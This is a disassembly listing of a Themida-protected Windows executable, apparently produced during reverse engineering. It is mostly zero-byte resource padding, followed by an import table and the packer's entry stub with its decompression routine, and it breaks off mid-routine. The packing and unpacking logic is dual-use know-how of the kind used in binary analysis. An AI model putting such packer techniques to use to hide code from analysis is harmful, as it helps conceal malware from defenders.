0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 0008E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 48E000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 8E050h, 8E000h, 3 dup(0) dd 8E079h, 8E00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 0008F000) ; Virtual size : 000E2000 ( 925696.) ; Section size in file : 000E2000 ( 925696.) ; Offset to raw data for section: 0008F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 48F000h dd 23041001h, 43AF2h, 52BB3h, 0C4172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004EDCB7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004F1008 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 004F127E SIZE 0000004C BYTES mov eax, 0 pusha or eax, eax jz short loc_48F086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_48F041 popa jmp short loc_48F076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_48F041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_48F04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_48F06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_48F074 loc_48F06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_48F04E ; --------------------------------------------------------------------------- loc_48F074: ; CODE XREF: start+57j mov edi, eax loc_48F076: ; CODE XREF: start+1Bj jmp loc_48F265 ; --------------------------------------------------------------------------- db 3 dd 0F26AB9C7h, 0CF030008h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_48F086: ; CODE XREF: start+8j mov eax, offset loc_4EDCB7 mov ecx, offset word_48F26A push eax push ecx call sub_48F11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_48F265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_48F11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_48F127: ; CODE XREF: sub_48F11B:loc_48F13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_48F132: ; CODE XREF: sub_48F11B+7Aj ; sub_48F11B+C3j ... add dl, dl jnz short loc_48F13B mov dl, [esi] inc esi adc dl, dl loc_48F13B: ; CODE XREF: sub_48F11B+19j jnb short loc_48F127 add dl, dl jnz short loc_48F146 mov dl, [esi] inc esi adc dl, dl loc_48F146: ; CODE XREF: sub_48F11B+24j jnb short loc_48F197 xor eax, eax add dl, dl jnz short loc_48F153 mov dl, [esi] inc esi adc dl, dl loc_48F153: ; CODE XREF: sub_48F11B+31j jnb loc_48F238 add dl, dl jnz short loc_48F162 mov dl, [esi] inc esi adc dl, dl loc_48F162: ; CODE XREF: sub_48F11B+40j adc eax, eax add dl, dl jnz short loc_48F16D mov dl, [esi] inc esi adc dl, dl loc_48F16D: ; CODE XREF: sub_48F11B+4Bj adc eax, eax add dl, dl jnz short loc_48F178 mov dl, [esi] inc esi adc dl, dl loc_48F178: ; CODE XREF: sub_48F11B+56j adc eax, eax add dl, dl jnz short loc_48F183 mov dl, [esi] inc esi adc dl, dl loc_48F183: ; CODE XREF: sub_48F11B+61j adc eax, eax jz short loc_48F18D push edi sub edi, eax mov al, [edi] pop edi loc_48F18D: ; CODE XREF: sub_48F11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_48F132 ; --------------------------------------------------------------------------- loc_48F197: ; CODE XREF: sub_48F11B:loc_48F146j mov eax, 1 loc_48F19C: ; CODE XREF: sub_48F11B:loc_48F1B0j add dl, dl jnz short loc_48F1A5 mov dl, [esi] inc esi adc dl, dl loc_48F1A5: ; CODE XREF: sub_48F11B+83j adc eax, eax add dl, dl jnz short loc_48F1B0 mov dl, [esi] inc esi adc dl, dl loc_48F1B0: ; CODE XREF: sub_48F11B+8Ej jb short loc_48F19C sub eax, ebx mov ebx, 1 jnz short loc_48F1E3 mov ecx, 1 loc_48F1C0: ; CODE XREF: sub_48F11B:loc_48F1D4j add dl, dl jnz short loc_48F1C9 mov dl, [esi] inc esi adc dl, dl loc_48F1C9: ; CODE XREF: sub_48F11B+A7j adc ecx, ecx add dl, dl jnz short loc_48F1D4 mov dl, [esi] inc esi adc dl, dl loc_48F1D4: ; CODE XREF: sub_48F11B+B2j jb short loc_48F1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F1E3: ; CODE XREF: sub_48F11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_48F1F1: ; CODE XREF: sub_48F11B:loc_48F205j add dl, dl jnz short loc_48F1FA mov dl, [esi] inc esi adc dl, dl loc_48F1FA: ; CODE XREF: sub_48F11B+D8j adc ecx, ecx add dl, dl jnz short loc_48F205 mov dl, [esi] inc esi adc dl, dl loc_48F205: ; CODE XREF: sub_48F11B+E3j jb short loc_48F1F1 cmp eax, 7D00h jnb short loc_48F228 cmp eax, 500h jb short loc_48F223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F223: ; CODE XREF: sub_48F11B+F8j cmp eax, 7Fh ja short loc_48F22B loc_48F228: ; CODE XREF: sub_48F11B+F1j add ecx, 2 loc_48F22B: ; CODE XREF: sub_48F11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F238: 